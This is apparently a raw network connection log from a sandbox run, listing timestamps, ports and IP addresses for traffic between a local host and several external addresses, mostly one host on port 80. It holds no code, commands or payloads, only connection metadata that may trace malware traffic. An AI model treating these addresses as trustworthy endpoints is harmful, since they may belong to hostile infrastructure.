Nov 26, 2024 01:41:18.910059929 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.910119057 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.911016941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.911077976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.911111116 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.911463976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.912131071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.912214994 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.912245035 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.912311077 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.913244009 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.913347006 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.913352013 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.913511992 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.914354086 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.914480925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.914506912 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.914520979 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.915463924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.915594101 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.915625095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.915977955 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.916579008 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.916697025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.916724920 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.917356968 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.917711973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.917829037 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.917856932 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.917881012 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.918797970 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.918880939 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.918909073 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.918936014 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.976403952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.976564884 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.976592064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.976646900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.976944923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.977019072 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.977051020 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.977093935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.978055954 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.978120089 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.978172064 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.978266001 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.979162931 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.979234934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.979273081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.979473114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.980282068 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.980360031 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.980390072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.980525970 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.981446981 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.981553078 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.981587887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.981587887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.982528925 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.982611895 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.982626915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.982708931 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.983608007 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.983654976 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.983707905 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.983768940 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.984736919 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.984793901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.984795094 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.984940052 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.985833883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.985877037 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.985896111 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.985933065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.986953974 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.987019062 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.987050056 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.987111092 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.988141060 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.988197088 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.988276005 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.988329887 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.989175081 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.989221096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.989273071 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.989322901 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.990283966 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.990379095 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.990391016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.990430117 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.991394997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.991462946 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.991494894 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.991588116 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.992521048 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.992614985 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.992625952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.992752075 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.993628979 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.993665934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.993746996 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.993788958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.994821072 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.994944096 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.994993925 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.997694016 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.997705936 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.997720003 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.997731924 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.997785091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.997785091 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.998152018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.998302937 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.998315096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.998495102 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.999387026 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:18.999440908 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:18.999537945 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.000385046 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.000442028 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.000798941 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.001265049 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.001394987 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.001441956 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.028919935 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.029021978 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.030247927 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.030322075 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.052999973 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.053062916 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.053101063 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.053173065 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.053508997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.053561926 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.053613901 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.053658009 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.054658890 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.054708958 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.054742098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.054796934 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.055720091 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.055807114 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.055836916 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.055993080 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.056895018 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.056948900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.056957960 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.057010889 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.058073997 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.058171988 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.058199883 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.058372021 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.059062958 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.059151888 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.059171915 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.059245110 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.060167074 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.060240984 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.060271025 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.060318947 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.061270952 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.061321974 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.061352968 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.061425924 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.062402010 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.062452078 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.062480927 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.062577963 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.063536882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.063606024 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.063720942 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.064630985 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.064783096 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.064799070 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.064831972 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.065759897 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.065835953 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.065845013 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.065892935 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.066925049 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.066937923 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.066976070 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.066987038 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.068047047 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.068058014 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.068125010 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.069060087 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.069117069 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.069149971 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.069224119 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.070188999 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.070242882 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.070249081 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.070288897 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.075984955 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.076044083 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.106457949 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.106568098 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.106645107 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.106987000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.107043982 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.107178926 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.107224941 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.107338905 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.107382059 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.108360052 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.108401060 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.108424902 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.108499050 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.109430075 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.109563112 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.109586000 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.109757900 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.110542059 CET	80	49715	185.215.113.206	192.168.2.6
Nov 26, 2024 01:41:19.110615969 CET	49715	80	192.168.2.6	185.215.113.206
Nov 26, 2024 01:41:19.118659019 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.118680000 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.119323969 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.119333982 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.119678020 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.119693041 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.119735956 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.119843960 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.119961023 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.120028973 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.125143051 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.125155926 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.125224113 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.125228882 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.125344038 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.125602007 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.125669956 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.131580114 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.131648064 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.136732101 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.136740923 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.137012959 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.137075901 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.137836933 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.141604900 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.141684055 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.147106886 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.147111893 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.147391081 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.147447109 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.149064064 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.167352915 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.179322004 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.191373110 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.501502037 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.501529932 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.501569033 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.501909018 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.501924992 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.501996994 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.506818056 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.506849051 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.506925106 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.506933928 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.506942987 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.506958961 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.507003069 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.567962885 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.567986965 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.568001986 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.568037987 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.568334103 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.568341970 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.568409920 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.629951000 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.629982948 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.630001068 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.630033970 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.630073071 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.630083084 CET	443	49731	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.630136967 CET	49731	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.638607025 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.649153948 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.649178028 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.649230957 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.649230957 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.649266005 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.649271965 CET	443	49729	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.649317980 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.649342060 CET	49729	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.688049078 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.688081980 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.688158989 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.688173056 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.688234091 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.688234091 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.688411951 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.690917015 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.690942049 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.691025019 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.691035986 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.691086054 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.691086054 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.710083961 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.732146025 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.734071016 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.734091997 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.734154940 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.734169960 CET	443	49727	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.734210014 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.734244108 CET	49727	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.735825062 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.735857010 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.735938072 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.735944986 CET	443	49730	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.735999107 CET	49730	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.744443893 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.744451046 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.744986057 CET	49732	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.744991064 CET	443	49732	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.750858068 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.759804964 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.759826899 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.759912968 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.759927034 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.760071039 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.774024010 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.776793957 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.776799917 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.777584076 CET	49734	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.777589083 CET	443	49734	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.782136917 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.789338112 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.789364100 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.789855003 CET	49735	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.789869070 CET	443	49735	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.792668104 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.792714119 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.793175936 CET	49733	443	192.168.2.6	13.107.246.63
Nov 26, 2024 01:41:19.793188095 CET	443	49733	13.107.246.63	192.168.2.6
Nov 26, 2024 01:41:19.804502964 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.804518938 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.804657936 CET	49728	443	192.168.2.6	150.171.27.10
Nov 26, 2024 01:41:19.804672956 CET	443	49728	150.171.27.10	192.168.2.6
Nov 26, 2024 01:41:19.804747105 CET	49728	443	192.168.2.6	150.171.27.10
